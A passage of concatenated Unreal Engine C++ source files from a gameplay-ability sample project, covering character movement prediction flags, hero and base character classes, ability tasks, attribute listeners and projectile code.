//UpdateFromCompressed flags simply copies the flags from the saved move into the movement component.
//It basically just resets the movement component to the state when the move was made so it can simulate from there.
RequestToStartSprinting = (Flags & FSavedMove_Character::FLAG_Custom_0) != 0;
RequestToStartADS = (Flags & FSavedMove_Character::FLAG_Custom_1) != 0;
}
FNetworkPredictionData_Client * UGDCharacterMovementComponent::GetPredictionData_Client() const
{
check(PawnOwner != NULL);
if (!ClientPredictionData)
{
UGDCharacterMovementComponent* MutableThis = const_cast<UGDCharacterMovementComponent*>(this);
MutableThis->ClientPredictionData = new FGDNetworkPredictionData_Client(*this);
MutableThis->ClientPredictionData->MaxSmoothNetUpdateDist = 92.f;
MutableThis->ClientPredictionData->NoSmoothNetUpdateDist = 140.f;
}
return ClientPredictionData;
}
void UGDCharacterMovementComponent::StartSprinting()
{
RequestToStartSprinting = true;
}
void UGDCharacterMovementComponent::StopSprinting()
{
RequestToStartSprinting = false;
}
void UGDCharacterMovementComponent::StartAimDownSights()
{
RequestToStartADS = true;
}
void UGDCharacterMovementComponent::StopAimDownSights()
{
RequestToStartADS = false;
}
void UGDCharacterMovementComponent::FGDSavedMove::Clear()
{
Super::Clear();
SavedRequestToStartSprinting = false;
SavedRequestToStartADS = false;
}
uint8 UGDCharacterMovementComponent::FGDSavedMove::GetCompressedFlags() const
{
uint8 Result = Super::GetCompressedFlags();
if (SavedRequestToStartSprinting)
{
Result |= FLAG_Custom_0;
}
if (SavedRequestToStartADS)
{
Result |= FLAG_Custom_1;
}
return Result;
}
bool UGDCharacterMovementComponent::FGDSavedMove::CanCombineWith(const FSavedMovePtr & NewMove, ACharacter * Character, float MaxDelta) const
{
//Set which moves can be combined together. This will depend on the bit flags that are used.
if (SavedRequestToStartSprinting != ((FGDSavedMove*)&NewMove)->SavedRequestToStartSprinting)
{
return false;
}
if (SavedRequestToStartADS != ((FGDSavedMove*)&NewMove)->SavedRequestToStartADS)
{
return false;
}
return Super::CanCombineWith(NewMove, Character, MaxDelta);
}
void UGDCharacterMovementComponent::FGDSavedMove::SetMoveFor(ACharacter * Character, float InDeltaTime, FVector const & NewAccel, FNetworkPredictionData_Client_Character & ClientData)
{
Super::SetMoveFor(Character, InDeltaTime, NewAccel, ClientData);
UGDCharacterMovementComponent* CharacterMovement = Cast<UGDCharacterMovementComponent>(Character->GetCharacterMovement());
if (CharacterMovement)
{
SavedRequestToStartSprinting = CharacterMovement->RequestToStartSprinting;
SavedRequestToStartADS = CharacterMovement->RequestToStartADS;
}
}
void UGDCharacterMovementComponent::FGDSavedMove::PrepMoveFor(ACharacter * Character)
{
Super::PrepMoveFor(Character);
UGDCharacterMovementComponent* CharacterMovement = Cast<UGDCharacterMovementComponent>(Character->GetCharacterMovement());
if (CharacterMovement)
{
}
}
UGDCharacterMovementComponent::FGDNetworkPredictionData_Client::FGDNetworkPredictionData_Client(const UCharacterMovementComponent & ClientMovement)
: Super(ClientMovement)
{
}
FSavedMovePtr UGDCharacterMovementComponent::FGDNetworkPredictionData_Client::AllocateNewMove()
{
return FSavedMovePtr(new FGDSavedMove());
}
<file_sep>/Source/GASDocumentation/GASDocumentation.Build.cs
// Copyright 2020 <NAME>.
using UnrealBuildTool;
public class GASDocumentation : ModuleRules
{
public GASDocumentation(ReadOnlyTargetRules Target) : base(Target)
{
PCHUsage = PCHUsageMode.UseExplicitOrSharedPCHs;
PublicDependencyModuleNames.AddRange(new string[] { "Core", "CoreUObject", "Engine", "InputCore" });
PrivateDependencyModuleNames.AddRange(new string[] {
"Slate",
"SlateCore",
"GameplayAbilities",
"GameplayTags",
"GameplayTasks"
});
}
}
<file_sep>/Source/GASDocumentation/Private/Characters/GDProjectile.cpp
// Copyright 2020 <NAME>.
#include "Characters/GDProjectile.h"
#include "GameFramework/ProjectileMovementComponent.h"
// Sets default values
AGDProjectile::AGDProjectile()
{
// Set this actor to call Tick() every frame. You can turn this off to improve performance if you don't need it.
PrimaryActorTick.bCanEverTick = true;
bReplicates = true;
ProjectileMovement = CreateDefaultSubobject<UProjectileMovementComponent>(FName("ProjectileMovement"));
}
// Called when the game starts or when spawned
void AGDProjectile::BeginPlay()
{
Super::BeginPlay();
}
<file_sep>/Source/GASDocumentation/Private/AI/GDHeroAIController.cpp
// Copyright 2020 <NAME>.
#include "AI/GDHeroAIController.h"
AGDHeroAIController::AGDHeroAIController()
{
bWantsPlayerState = true;
}<file_sep>/Source/GASDocumentation/Private/GDEngineSubsystem.cpp
// Copyright 2020 <NAME>.
#include "GDEngineSubsystem.h"
#include "AbilitySystemGlobals.h"
void UGDEngineSubsystem::Initialize(FSubsystemCollectionBase& Collection)
{
Super::Initialize(Collection);
}
<file_sep>/Source/GASDocumentation/Private/Characters/Abilities/AsyncTaskAttributeChanged.cpp
// Copyright 2020 <NAME>.
#include "Characters/Abilities/AsyncTaskAttributeChanged.h"
UAsyncTaskAttributeChanged* UAsyncTaskAttributeChanged::ListenForAttributeChange(UAbilitySystemComponent* AbilitySystemComponent, FGameplayAttribute Attribute)
{
UAsyncTaskAttributeChanged* WaitForAttributeChangedTask = NewObject<UAsyncTaskAttributeChanged>();
WaitForAttributeChangedTask->ASC = AbilitySystemComponent;
WaitForAttributeChangedTask->AttributeToListenFor = Attribute;
if (!IsValid(AbilitySystemComponent) || !Attribute.IsValid())
{
WaitForAttributeChangedTask->RemoveFromRoot();
return nullptr;
}
AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(Attribute).AddUObject(WaitForAttributeChangedTask, &UAsyncTaskAttributeChanged::AttributeChanged);
return WaitForAttributeChangedTask;
}
UAsyncTaskAttributeChanged * UAsyncTaskAttributeChanged::ListenForAttributesChange(UAbilitySystemComponent * AbilitySystemComponent, TArray<FGameplayAttribute> Attributes)
{
UAsyncTaskAttributeChanged* WaitForAttributeChangedTask = NewObject<UAsyncTaskAttributeChanged>();
WaitForAttributeChangedTask->ASC = AbilitySystemComponent;
WaitForAttributeChangedTask->AttributesToListenFor = Attributes;
if (!IsValid(AbilitySystemComponent) || Attributes.Num() < 1)
{
WaitForAttributeChangedTask->RemoveFromRoot();
return nullptr;
}
for (FGameplayAttribute Attribute : Attributes)
{
AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(Attribute).AddUObject(WaitForAttributeChangedTask, &UAsyncTaskAttributeChanged::AttributeChanged);
}
return WaitForAttributeChangedTask;
}
void UAsyncTaskAttributeChanged::EndTask()
{
if (IsValid(ASC))
{
ASC->GetGameplayAttributeValueChangeDelegate(AttributeToListenFor).RemoveAll(this);
for (FGameplayAttribute Attribute : AttributesToListenFor)
{
ASC->GetGameplayAttributeValueChangeDelegate(Attribute).RemoveAll(this);
}
}
SetReadyToDestroy();
MarkAsGarbage();
}
void UAsyncTaskAttributeChanged::AttributeChanged(const FOnAttributeChangeData & Data)
{
OnAttributeChanged.Broadcast(Data.Attribute, Data.NewValue, Data.OldValue);
}<file_sep>/Source/GASDocumentation/Public/Characters/Heroes/GDHeroCharacter.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Characters/GDCharacterBase.h"
#include "GDHeroCharacter.generated.h"
/**
* A player or AI controlled hero character.
*/
UCLASS()
class GASDOCUMENTATION_API AGDHeroCharacter : public AGDCharacterBase
{
GENERATED_BODY()
public:
AGDHeroCharacter(const class FObjectInitializer& ObjectInitializer);
// Called to bind functionality to input
virtual void SetupPlayerInputComponent(class UInputComponent* PlayerInputComponent) override;
// Only called on the Server. Calls before Server's AcknowledgePossession.
virtual void PossessedBy(AController* NewController) override;
class USpringArmComponent* GetCameraBoom();
class UCameraComponent* GetFollowCamera();
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|Camera")
float GetStartingCameraBoomArmLength();
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|Camera")
FVector GetStartingCameraBoomLocation();
class UGDFloatingStatusBarWidget* GetFloatingStatusBar();
USkeletalMeshComponent* GetGunComponent() const;
virtual void FinishDying() override;
protected:
UPROPERTY(BlueprintReadWrite, EditAnywhere, Category = "GASDocumentation|Camera")
float BaseTurnRate = 45.0f;
UPROPERTY(BlueprintReadWrite, EditAnywhere, Category = "GASDocumentation|Camera")
float BaseLookUpRate = 45.0f;
UPROPERTY(BlueprintReadOnly, Category = "GASDocumentation|Camera")
float StartingCameraBoomArmLength;
UPROPERTY(BlueprintReadOnly, Category = "GASDocumentation|Camera")
FVector StartingCameraBoomLocation;
UPROPERTY(BlueprintReadOnly, VisibleAnywhere, Category = "GASDocumentation|Camera")
class USpringArmComponent* CameraBoom;
UPROPERTY(BlueprintReadOnly, VisibleAnywhere, Category = "GASDocumentation|Camera")
class UCameraComponent* FollowCamera;
UPROPERTY(BlueprintReadOnly, VisibleAnywhere)
USkeletalMeshComponent* GunComponent;
UPROPERTY(BlueprintReadWrite, EditAnywhere, Category = "GASDocumentation|UI")
TSubclassOf<class UGDFloatingStatusBarWidget> UIFloatingStatusBarClass;
UPROPERTY()
class UGDFloatingStatusBarWidget* UIFloatingStatusBar;
UPROPERTY(BlueprintReadOnly, VisibleAnywhere, Category = "GASDocumentation|UI")
class UWidgetComponent* UIFloatingStatusBarComponent;
bool ASCInputBound = false;
FGameplayTag DeadTag;
// Called when the game starts or when spawned
virtual void BeginPlay() override;
virtual void PostInitializeComponents() override;
// Mouse
void LookUp(float Value);
// Gamepad
void LookUpRate(float Value);
// Mouse
void Turn(float Value);
// Gamepad
void TurnRate(float Value);
// Mouse + Gamepad
void MoveForward(float Value);
// Mouse + Gamepad
void MoveRight(float Value);
// Creates and initializes the floating status bar for heroes.
// Safe to call many times because it checks to make sure it only executes once.
UFUNCTION()
void InitializeFloatingStatusBar();
// Client only
virtual void OnRep_PlayerState() override;
// Called from both SetupPlayerInputComponent and OnRep_PlayerState because of a potential race condition where the PlayerController might
// call ClientRestart which calls SetupPlayerInputComponent before the PlayerState is repped to the client so the PlayerState would be null in SetupPlayerInputComponent.
// Conversely, the PlayerState might be repped before the PlayerController calls ClientRestart so the Actor's InputComponent would be null in OnRep_PlayerState.
void BindASCInput();
};
<file_sep>/Source/GASDocumentation/Private/Characters/Abilities/AbilityTasks/GDAT_WaitReceiveDamage.cpp
// Copyright 2020 <NAME>.
#include "Characters/Abilities/AbilityTasks/GDAT_WaitReceiveDamage.h"
#include "Characters/Abilities/GDAbilitySystemComponent.h"
UGDAT_WaitReceiveDamage::UGDAT_WaitReceiveDamage(const FObjectInitializer& ObjectInitializer)
: Super(ObjectInitializer)
{
TriggerOnce = false;
}
UGDAT_WaitReceiveDamage* UGDAT_WaitReceiveDamage::WaitReceiveDamage(UGameplayAbility* OwningAbility, bool InTriggerOnce)
{
UGDAT_WaitReceiveDamage* MyObj = NewAbilityTask<UGDAT_WaitReceiveDamage>(OwningAbility);
MyObj->TriggerOnce = InTriggerOnce;
return MyObj;
}
void UGDAT_WaitReceiveDamage::Activate()
{
UGDAbilitySystemComponent* GDASC = Cast<UGDAbilitySystemComponent>(AbilitySystemComponent);
if (GDASC)
{
GDASC->ReceivedDamage.AddDynamic(this, &UGDAT_WaitReceiveDamage::OnDamageReceived);
}
}
void UGDAT_WaitReceiveDamage::OnDestroy(bool AbilityIsEnding)
{
UGDAbilitySystemComponent* GDASC = Cast<UGDAbilitySystemComponent>(AbilitySystemComponent);
if (GDASC)
{
GDASC->ReceivedDamage.RemoveDynamic(this, &UGDAT_WaitReceiveDamage::OnDamageReceived);
}
Super::OnDestroy(AbilityIsEnding);
}
void UGDAT_WaitReceiveDamage::OnDamageReceived(UGDAbilitySystemComponent* SourceASC, float UnmitigatedDamage, float MitigatedDamage)
{
if (ShouldBroadcastAbilityTaskDelegates())
{
OnDamage.Broadcast(SourceASC, UnmitigatedDamage, MitigatedDamage);
}
if (TriggerOnce)
{
EndTask();
}
}
<file_sep>/Source/GASDocumentation/Public/Characters/Abilities/AbilityTasks/GDAT_WaitReceiveDamage.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Abilities/Tasks/AbilityTask.h"
#include "GDAT_WaitReceiveDamage.generated.h"
DECLARE_DYNAMIC_MULTICAST_DELEGATE_ThreeParams(FWaitReceiveDamageDelegate, class UGDAbilitySystemComponent*, SourceASC, float, UnmitigatedDamage, float, MitigatedDamage);
/**
* Waits until the Ability Owner receives damage.
*/
UCLASS()
class GASDOCUMENTATION_API UGDAT_WaitReceiveDamage : public UAbilityTask
{
GENERATED_UCLASS_BODY()
UPROPERTY(BlueprintAssignable)
FWaitReceiveDamageDelegate OnDamage;
virtual void Activate() override;
UFUNCTION()
void OnDamageReceived(class UGDAbilitySystemComponent* SourceASC, float UnmitigatedDamage, float MitigatedDamage);
// Wait until the ability owner receives damage.
UFUNCTION(BlueprintCallable, Category = "Ability|Tasks", meta = (HidePin = "OwningAbility", DefaultToSelf = "OwningAbility", BlueprintInternalUseOnly = "TRUE"))
static UGDAT_WaitReceiveDamage* WaitReceiveDamage(UGameplayAbility* OwningAbility, bool TriggerOnce);
protected:
bool TriggerOnce;
virtual void OnDestroy(bool AbilityIsEnding) override;
};
<file_sep>/Source/GASDocumentation/Private/Characters/Abilities/GDAbilitySystemComponent.cpp
// Copyright 2020 <NAME>.
#include "Characters/Abilities/GDAbilitySystemComponent.h"
void UGDAbilitySystemComponent::ReceiveDamage(UGDAbilitySystemComponent * SourceASC, float UnmitigatedDamage, float MitigatedDamage)
{
ReceivedDamage.Broadcast(SourceASC, UnmitigatedDamage, MitigatedDamage);
}
<file_sep>/Source/GASDocumentation/Public/UI/GDFloatingStatusBarWidget.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Blueprint/UserWidget.h"
#include "GDFloatingStatusBarWidget.generated.h"
/**
*
*/
UCLASS()
class GASDOCUMENTATION_API UGDFloatingStatusBarWidget : public UUserWidget
{
GENERATED_BODY()
public:
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetHealthPercentage(float HealthPercentage);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetManaPercentage(float ManaPercentage);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetCharacterName(const FText& NewName);
};
<file_sep>/Source/GASDocumentation/Private/Characters/GDCharacterBase.cpp
// Copyright 2020 <NAME>.
#include "Characters/GDCharacterBase.h"
#include "Characters/Abilities/AttributeSets/GDAttributeSetBase.h"
#include "Characters/Abilities/GDAbilitySystemComponent.h"
#include "Characters/Abilities/GDGameplayAbility.h"
#include "Characters/GDCharacterMovementComponent.h"
#include "Components/CapsuleComponent.h"
#include "UI/GDDamageTextWidgetComponent.h"
// Sets default values
AGDCharacterBase::AGDCharacterBase(const class FObjectInitializer& ObjectInitializer) :
Super(ObjectInitializer.SetDefaultSubobjectClass<UGDCharacterMovementComponent>(ACharacter::CharacterMovementComponentName))
{
// Set this character to call Tick() every frame. You can turn this off to improve performance if you don't need it.
PrimaryActorTick.bCanEverTick = false;
GetCapsuleComponent()->SetCollisionResponseToChannel(ECollisionChannel::ECC_Visibility, ECollisionResponse::ECR_Overlap);
bAlwaysRelevant = true;
// Cache tags
HitDirectionFrontTag = FGameplayTag::RequestGameplayTag(FName("Effect.HitReact.Front"));
HitDirectionBackTag = FGameplayTag::RequestGameplayTag(FName("Effect.HitReact.Back"));
HitDirectionRightTag = FGameplayTag::RequestGameplayTag(FName("Effect.HitReact.Right"));
HitDirectionLeftTag = FGameplayTag::RequestGameplayTag(FName("Effect.HitReact.Left"));
DeadTag = FGameplayTag::RequestGameplayTag(FName("State.Dead"));
EffectRemoveOnDeathTag = FGameplayTag::RequestGameplayTag(FName("Effect.RemoveOnDeath"));
}
UAbilitySystemComponent * AGDCharacterBase::GetAbilitySystemComponent() const
{
return AbilitySystemComponent.Get();
}
bool AGDCharacterBase::IsAlive() const
{
return GetHealth() > 0.0f;
}
int32 AGDCharacterBase::GetAbilityLevel(EGDAbilityInputID AbilityID) const
{
return 1;
}
void AGDCharacterBase::RemoveCharacterAbilities()
{
if (GetLocalRole() != ROLE_Authority || !AbilitySystemComponent.IsValid() || !AbilitySystemComponent->bCharacterAbilitiesGiven)
{
return;
}
// Remove any abilities added from a previous call. This checks to make sure the ability is in the startup 'CharacterAbilities' array.
TArray<FGameplayAbilitySpecHandle> AbilitiesToRemove;
for (const FGameplayAbilitySpec& Spec : AbilitySystemComponent->GetActivatableAbilities())
{
if ((Spec.SourceObject == this) && CharacterAbilities.Contains(Spec.Ability->GetClass()))
{
AbilitiesToRemove.Add(Spec.Handle);
}
}
// Do in two passes so the removal happens after we have the full list
for (int32 i = 0; i < AbilitiesToRemove.Num(); i++)
{
AbilitySystemComponent->ClearAbility(AbilitiesToRemove[i]);
}
AbilitySystemComponent->bCharacterAbilitiesGiven = false;
}
EGDHitReactDirection AGDCharacterBase::GetHitReactDirection(const FVector & ImpactPoint)
{
const FVector& ActorLocation = GetActorLocation();
// PointPlaneDist is super cheap - 1 vector subtraction, 1 dot product.
float DistanceToFrontBackPlane = FVector::PointPlaneDist(ImpactPoint, ActorLocation, GetActorRightVector());
float DistanceToRightLeftPlane = FVector::PointPlaneDist(ImpactPoint, ActorLocation, GetActorForwardVector());
if (FMath::Abs(DistanceToFrontBackPlane) <= FMath::Abs(DistanceToRightLeftPlane))
{
// Determine if Front or Back
// Can see if it's left or right of Left/Right plane which would determine Front or Back
if (DistanceToRightLeftPlane >= 0)
{
return EGDHitReactDirection::Front;
}
else
{
return EGDHitReactDirection::Back;
}
}
else
{
// Determine if Right or Left
if (DistanceToFrontBackPlane >= 0)
{
return EGDHitReactDirection::Right;
}
else
{
return EGDHitReactDirection::Left;
}
}
return EGDHitReactDirection::Front;
}
void AGDCharacterBase::PlayHitReact_Implementation(FGameplayTag HitDirection, AActor * DamageCauser)
{
if (IsAlive())
{
if (HitDirection == HitDirectionLeftTag)
{
ShowHitReact.Broadcast(EGDHitReactDirection::Left);
}
else if (HitDirection == HitDirectionFrontTag)
{
ShowHitReact.Broadcast(EGDHitReactDirection::Front);
}
else if (HitDirection == HitDirectionRightTag)
{
ShowHitReact.Broadcast(EGDHitReactDirection::Right);
}
else if (HitDirection == HitDirectionBackTag)
{
ShowHitReact.Broadcast(EGDHitReactDirection::Back);
}
}
}
bool AGDCharacterBase::PlayHitReact_Validate(FGameplayTag HitDirection, AActor * DamageCauser)
{
return true;
}
int32 AGDCharacterBase::GetCharacterLevel() const
{
if (AttributeSetBase.IsValid())
{
return static_cast<int32>(AttributeSetBase->GetCharacterLevel());
}
return 0;
}
float AGDCharacterBase::GetHealth() const
{
if (AttributeSetBase.IsValid())
{
return AttributeSetBase->GetHealth();
}
return 0.0f;
}
float AGDCharacterBase::GetMaxHealth() const
{
if (AttributeSetBase.IsValid())
{
return AttributeSetBase->GetMaxHealth();
}
return 0.0f;
}
float AGDCharacterBase::GetMana() const
{
if (AttributeSetBase.IsValid())
{
return AttributeSetBase->GetMana();
}
return 0.0f;
}
float AGDCharacterBase::GetMaxMana() const
{
if (AttributeSetBase.IsValid())
{
return AttributeSetBase->GetMaxMana();
}
return 0.0f;
}
float AGDCharacterBase::GetStamina() const
{
if (AttributeSetBase.IsValid())
{
return AttributeSetBase->GetStamina();
}
return 0.0f;
}
float AGDCharacterBase::GetMaxStamina() const
{
if (AttributeSetBase.IsValid())
{
return AttributeSetBase->GetMaxStamina();
}
return 0.0f;
}
float AGDCharacterBase::GetMoveSpeed() const
{
if (AttributeSetBase.IsValid())
{
return AttributeSetBase->GetMoveSpeed();
}
return 0.0f;
}
float AGDCharacterBase::GetMoveSpeedBaseValue() const
{
if (AttributeSetBase.IsValid())
{
return AttributeSetBase->GetMoveSpeedAttribute().GetGameplayAttributeData(AttributeSetBase.Get())->GetBaseValue();
}
return 0.0f;
}
// Run on Server and all clients
void AGDCharacterBase::Die()
{
// Only runs on Server
RemoveCharacterAbilities();
GetCapsuleComponent()->SetCollisionEnabled(ECollisionEnabled::NoCollision);
GetCharacterMovement()->GravityScale = 0;
GetCharacterMovement()->Velocity = FVector(0);
OnCharacterDied.Broadcast(this);
if (AbilitySystemComponent.IsValid())
{
AbilitySystemComponent->CancelAllAbilities();
FGameplayTagContainer EffectTagsToRemove;
EffectTagsToRemove.AddTag(EffectRemoveOnDeathTag);
int32 NumEffectsRemoved = AbilitySystemComponent->RemoveActiveEffectsWithTags(EffectTagsToRemove);
AbilitySystemComponent->AddLooseGameplayTag(DeadTag);
}
if (DeathMontage)
{
PlayAnimMontage(DeathMontage);
}
else
{
FinishDying();
}
}
void AGDCharacterBase::FinishDying()
{
Destroy();
}
// Called when the game starts or when spawned
void AGDCharacterBase::BeginPlay()
{
Super::BeginPlay();
}
void AGDCharacterBase::AddCharacterAbilities()
{
// Grant abilities, but only on the server
if (GetLocalRole() != ROLE_Authority || !AbilitySystemComponent.IsValid() || AbilitySystemComponent->bCharacterAbilitiesGiven)
{
return;
}
for (TSubclassOf<UGDGameplayAbility>& StartupAbility : CharacterAbilities)
{
AbilitySystemComponent->GiveAbility(
FGameplayAbilitySpec(StartupAbility, GetAbilityLevel(StartupAbility.GetDefaultObject()->AbilityID), static_cast<int32>(StartupAbility.GetDefaultObject()->AbilityInputID), this));
}
AbilitySystemComponent->bCharacterAbilitiesGiven = true;
}
void AGDCharacterBase::InitializeAttributes()
{
if (!AbilitySystemComponent.IsValid())
{
return;
}
if (!DefaultAttributes)
{
UE_LOG(LogTemp, Error, TEXT("%s() Missing DefaultAttributes for %s. Please fill in the character's Blueprint."), *FString(__FUNCTION__), *GetName());
return;
}
// Can run on Server and Client
FGameplayEffectContextHandle EffectContext = AbilitySystemComponent->MakeEffectContext();
EffectContext.AddSourceObject(this);
FGameplayEffectSpecHandle NewHandle = AbilitySystemComponent->MakeOutgoingSpec(DefaultAttributes, GetCharacterLevel(), EffectContext);
if (NewHandle.IsValid())
{
FActiveGameplayEffectHandle ActiveGEHandle = AbilitySystemComponent->ApplyGameplayEffectSpecToTarget(*NewHandle.Data.Get(), AbilitySystemComponent.Get());
}
}
void AGDCharacterBase::AddStartupEffects()
{
if (GetLocalRole() != ROLE_Authority || !AbilitySystemComponent.IsValid() || AbilitySystemComponent->bStartupEffectsApplied)
{
return;
}
FGameplayEffectContextHandle EffectContext = AbilitySystemComponent->MakeEffectContext();
EffectContext.AddSourceObject(this);
for (TSubclassOf<UGameplayEffect> GameplayEffect : StartupEffects)
{
FGameplayEffectSpecHandle NewHandle = AbilitySystemComponent->MakeOutgoingSpec(GameplayEffect, GetCharacterLevel(), EffectContext);
if (NewHandle.IsValid())
{
FActiveGameplayEffectHandle ActiveGEHandle = AbilitySystemComponent->ApplyGameplayEffectSpecToTarget(*NewHandle.Data.Get(), AbilitySystemComponent.Get());
}
}
AbilitySystemComponent->bStartupEffectsApplied = true;
}
void AGDCharacterBase::SetHealth(float Health)
{
if (AttributeSetBase.IsValid())
{
AttributeSetBase->SetHealth(Health);
}
}
void AGDCharacterBase::SetMana(float Mana)
{
if (AttributeSetBase.IsValid())
{
AttributeSetBase->SetMana(Mana);
}
}
void AGDCharacterBase::SetStamina(float Stamina)
{
if (AttributeSetBase.IsValid())
{
AttributeSetBase->SetStamina(Stamina);
}
}
<file_sep>/Source/GASDocumentation/Public/Characters/GDProjectile.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "GameFramework/Actor.h"
#include "GameplayEffect.h"
#include "GDProjectile.generated.h"
UCLASS()
class GASDOCUMENTATION_API AGDProjectile : public AActor
{
GENERATED_BODY()
public:
// Sets default values for this actor's properties
AGDProjectile();
UPROPERTY(BlueprintReadWrite, EditAnywhere, Meta = (ExposeOnSpawn = true))
float Range;
UPROPERTY(BlueprintReadWrite, Meta = (ExposeOnSpawn = true))
FGameplayEffectSpecHandle DamageEffectSpecHandle;
UPROPERTY(BlueprintReadOnly, VisibleAnywhere)
class UProjectileMovementComponent* ProjectileMovement;
protected:
// Called when the game starts or when spawned
virtual void BeginPlay() override;
};
<file_sep>/Source/GASDocumentation/Public/Characters/Heroes/Abilities/GDGA_FireGun.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Characters/Abilities/GDGameplayAbility.h"
#include "Characters/Abilities/AbilityTasks/GDAT_PlayMontageAndWaitForEvent.h"
#include "Characters/GDProjectile.h"
#include "GDGA_FireGun.generated.h"
/**
*
*/
UCLASS()
class GASDOCUMENTATION_API UGDGA_FireGun : public UGDGameplayAbility
{
GENERATED_BODY()
public:
UGDGA_FireGun();
UPROPERTY(BlueprintReadOnly, EditAnywhere)
UAnimMontage* FireHipMontage;
UPROPERTY(BlueprintReadOnly, EditAnywhere)
UAnimMontage* FireIronsightsMontage;
UPROPERTY(BlueprintReadOnly, EditAnywhere)
TSubclassOf<AGDProjectile> ProjectileClass;
UPROPERTY(BlueprintReadOnly, EditAnywhere)
TSubclassOf<UGameplayEffect> DamageGameplayEffect;
/** Actually activate ability, do not call this directly. We'll call it from APAHeroCharacter::ActivateAbilitiesWithTags(). */
virtual void ActivateAbility(const FGameplayAbilitySpecHandle Handle, const FGameplayAbilityActorInfo* ActorInfo, const FGameplayAbilityActivationInfo ActivationInfo, const FGameplayEventData* TriggerEventData) override;
protected:
UPROPERTY(BlueprintReadOnly, EditAnywhere)
float Range;
UPROPERTY(BlueprintReadOnly, EditAnywhere)
float Damage;
UFUNCTION()
void OnCancelled(FGameplayTag EventTag, FGameplayEventData EventData);
UFUNCTION()
void OnCompleted(FGameplayTag EventTag, FGameplayEventData EventData);
UFUNCTION()
void EventReceived(FGameplayTag EventTag, FGameplayEventData EventData);
};
<file_sep>/Source/GASDocumentation/Private/Characters/Abilities/AsyncTaskEffectStackChanged.cpp
// Copyright 2020 <NAME>.
#include "Characters/Abilities/AsyncTaskEffectStackChanged.h"
UAsyncTaskEffectStackChanged * UAsyncTaskEffectStackChanged::ListenForGameplayEffectStackChange(UAbilitySystemComponent * AbilitySystemComponent, FGameplayTag InEffectGameplayTag)
{
UAsyncTaskEffectStackChanged* ListenForGameplayEffectStackChange = NewObject<UAsyncTaskEffectStackChanged>();
ListenForGameplayEffectStackChange->ASC = AbilitySystemComponent;
ListenForGameplayEffectStackChange->EffectGameplayTag = InEffectGameplayTag;
if (!IsValid(AbilitySystemComponent) || !InEffectGameplayTag.IsValid())
{
ListenForGameplayEffectStackChange->EndTask();
return nullptr;
}
AbilitySystemComponent->OnActiveGameplayEffectAddedDelegateToSelf.AddUObject(ListenForGameplayEffectStackChange, &UAsyncTaskEffectStackChanged::OnActiveGameplayEffectAddedCallback);
AbilitySystemComponent->OnAnyGameplayEffectRemovedDelegate().AddUObject(ListenForGameplayEffectStackChange, &UAsyncTaskEffectStackChanged::OnRemoveGameplayEffectCallback);
return ListenForGameplayEffectStackChange;
}
void UAsyncTaskEffectStackChanged::EndTask()
{
if (IsValid(ASC))
{
ASC->OnActiveGameplayEffectAddedDelegateToSelf.RemoveAll(this);
ASC->OnAnyGameplayEffectRemovedDelegate().RemoveAll(this);
if(ActiveEffectHandle.IsValid())
{
ASC->OnGameplayEffectStackChangeDelegate(ActiveEffectHandle)->RemoveAll(this);
}
}
SetReadyToDestroy();
MarkAsGarbage();
}
void UAsyncTaskEffectStackChanged::OnActiveGameplayEffectAddedCallback(UAbilitySystemComponent * Target, const FGameplayEffectSpec & SpecApplied, FActiveGameplayEffectHandle ActiveHandle)
{
FGameplayTagContainer AssetTags;
SpecApplied.GetAllAssetTags(AssetTags);
FGameplayTagContainer GrantedTags;
SpecApplied.GetAllGrantedTags(GrantedTags);
if (AssetTags.HasTagExact(EffectGameplayTag) || GrantedTags.HasTagExact(EffectGameplayTag))
{
ASC->OnGameplayEffectStackChangeDelegate(ActiveHandle)->AddUObject(this, &UAsyncTaskEffectStackChanged::GameplayEffectStackChanged);
OnGameplayEffectStackChange.Broadcast(EffectGameplayTag, ActiveHandle, 1, 0);
ActiveEffectHandle = ActiveHandle;
}
}
void UAsyncTaskEffectStackChanged::OnRemoveGameplayEffectCallback(const FActiveGameplayEffect & EffectRemoved)
{
FGameplayTagContainer AssetTags;
EffectRemoved.Spec.GetAllAssetTags(AssetTags);
FGameplayTagContainer GrantedTags;
EffectRemoved.Spec.GetAllGrantedTags(GrantedTags);
if (AssetTags.HasTagExact(EffectGameplayTag) || GrantedTags.HasTagExact(EffectGameplayTag))
{
OnGameplayEffectStackChange.Broadcast(EffectGameplayTag, EffectRemoved.Handle, 0, 1);
}
}
void UAsyncTaskEffectStackChanged::GameplayEffectStackChanged(FActiveGameplayEffectHandle EffectHandle, int32 NewStackCount, int32 PreviousStackCount)
{
OnGameplayEffectStackChange.Broadcast(EffectGameplayTag, EffectHandle, NewStackCount, PreviousStackCount);
}
<file_sep>/Source/GASDocumentation/Public/Player/GDPlayerState.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "GameFramework/PlayerState.h"
#include "AbilitySystemInterface.h"
#include "GameplayEffectTypes.h"
#include "GDPlayerState.generated.h"
/**
*
*/
UCLASS()
class GASDOCUMENTATION_API AGDPlayerState : public APlayerState, public IAbilitySystemInterface
{
GENERATED_BODY()
public:
AGDPlayerState();
// Implement IAbilitySystemInterface
class UAbilitySystemComponent* GetAbilitySystemComponent() const override;
class UGDAttributeSetBase* GetAttributeSetBase() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState")
bool IsAlive() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumenation|GDPlayerState|UI")
void ShowAbilityConfirmCancelText(bool ShowText);
/**
* Getters for attributes from GDAttributeSetBase. Returns Current Value unless otherwise specified.
*/
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
float GetHealth() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDPlayerState|Attributes")
